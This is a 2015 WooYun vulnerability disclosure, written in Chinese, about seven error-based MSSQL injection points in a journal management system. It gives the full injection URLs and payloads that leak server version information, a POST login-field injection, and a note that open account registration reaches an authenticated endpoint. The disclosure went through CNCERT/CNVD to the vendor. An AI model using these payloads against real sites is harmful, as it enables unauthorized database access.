当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125186

漏洞标题:菲斯特诺期刊系统最后4枚MSSQL报错注入打包

相关厂商:北京菲斯特诺科技有限公司

漏洞作者: 路人甲

提交时间:2015-07-09 17:05

修复时间:2015-10-08 16:42

公开时间:2015-10-08 16:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-09: 细节已通知厂商并且等待厂商处理中
2015-07-10: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-07-13: 细节向第三方安全合作伙伴开放
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

一中午不吃饭的时间找完了

详细说明:

把Google上收录的所有关于该系统URL进行了测试最后七处,不会再研究这个系统了;我不信还有人找的出来~至于有没有重复我自己也不清楚;审核员可以帮忙排重一下!
北京菲斯特诺科技有限公司专业从事学术期刊,科技期刊编辑单位官方网站建设及为期刊提供自主研发的网络编辑办公平台,并自主运营期刊综合信息平台---中国期刊先知网我们致力于帮助传统优质期刊向新兴媒体转型提供一站式云服务,打造传统媒体全新的互联网运营模式,并组建各垂直细分行业的官方信息咨询平台,为企业提供低成本、高精度的全新互联网推广模式,并为各行业专业读者、作者及编辑人员提供一流的网络交流办公平台。
七处SQL注射:

1、/viewarticle.aspx?id=1%20and/**/1=char(@@version)/**/%20--%20
2、/select_e.aspx?type=zzdw&content=1'%20and/**/1=char(@@servername)/**/%20--%20
3、/select_pro.aspx?type=productinfo&content=1/**/'/**/and/**/char(@@version)%3E0/**/--
4、/select_news.aspx?type=1&content=1/**//'/**/and/**/char(@@version)/**/>0
5、/Supplylist.aspx?parentid=1/**/and/**/1=char(@@version)/**/&classid=1
6、/vipadmin/publicinfomation.aspx?categoryid=1%20and/**/1=char(@@version)/**/%20--%20 需普通用户登录;注册账号位置:/vuserlogin.aspx (注册无任何限制)
7、/newedos/default.aspx?role=master (TextBox1参数存在注入)
3处重复
POST:
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=****&__EVENTVALIDATION=****&TextBox1=admin'%20and/**/1=char(@@version)/**/%20--%20&TextBox2=123456&checkcode=BH26B&Button1=%E4%B8%BB%E7%BC%96%E7%99%BB%E5%BD%95


Case:

http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**:6677/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
http://**.**.**.**/
....more....

漏洞证明:

Security Testing:

第一处:/viewarticle.aspx?id=1%20and/**/1=char(@@version)/**/%20--%20

01.png


第二处:/select_e.aspx?type=zzdw&content=1'%20and/**/1=char(@@servername)/**/%20--%20

02.png


第三处:/select_pro.aspx?type=productinfo&content=1/**/'/**/and/**/char(@@version)%3E0/**/--

03.png


第四处:/select_news.aspx?type=1&content=1/**//'/**/and/**/char(@@version)/**/>0

04.png


第五处:/Supplylist.aspx?parentid=1/**/and/**/1=char(@@version)/**/&classid=1

04.png


第六处:/vipadmin/publicinfomation.aspx?categoryid=1%20and/**/1=char(@@version)/**/%20--%20
例:http://**.**.**.**/vuserlogin.aspx;注册woooyuntest 密:a123456 注册成功后右边那登录!

06.png


再访问:http://**.**.**.**//vipadmin/publicinfomation.aspx?categoryid=1%20and/**/1=char(@@version)/**/%20--%20

07.png


第七处:/newedos/default.aspx?role=master
http://**.**.**.**/newedos/default.aspx?role=master
POST:(自行更换验证码)
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTg3MjExODE2Nw9kFgICAw9kFhRmDw8WAh4EVGV4dAUY5aSp54S25rCU5YuY5o6i5LiO5byA5Y%2BRZGQCAQ8PFgIfAAUnTmF0dXJhbCBHYXMgRXhwbG9yYXRpb24gYW5kIERldmVsb3BtZW50ZGQCAg8PFgIfAAUMMDI4LTg2MDE1NDQxZGQCAw8PFgIfAAUXZ2Fza2tAcGV0cm9jaGluYS5jb20uY25kZAIEDzwrAAkBAA8WBB4IRGF0YUtleXMWAB4LXyFJdGVtQ291bnRmZGQCBw8PFgIfAAUM5Li757yW55m75b2VZGQCCw8PFgIfAAUM5Li757yW55m75b2VZGQCDA8PFgIeB0VuYWJsZWRoZGQCEA88KwANAQAPFgQeC18hRGF0YUJvdW5kZx8CZmRkAhEPPCsADQEADxYEHwRnHwJmZGQYAgUJR3JpZFZpZXcyDzwrAAoBCGZkBQlHcmlkVmlldzEPPCsACgEIZmSLE0t1HaswP9D4ww5ST18u%2Fm3XMw%3D%3D&__EVENTVALIDATION=%2FwEWBgKMifPHDQLs0bLrBgLs0fbZDAKu44nWDQKM54rGBgK7q7GGCE32ixTilw5TaZ1N3%2BkshXNICQkZ&TextBox1=admin'%20and/**/1=char(@@version)/**/%20--%20&TextBox2=123456&checkcode=BH26B&Button1=%E4%B8%BB%E7%BC%96%E7%99%BB%E5%BD%95

08.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-07-10 16:40

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。

最新状态:

暂无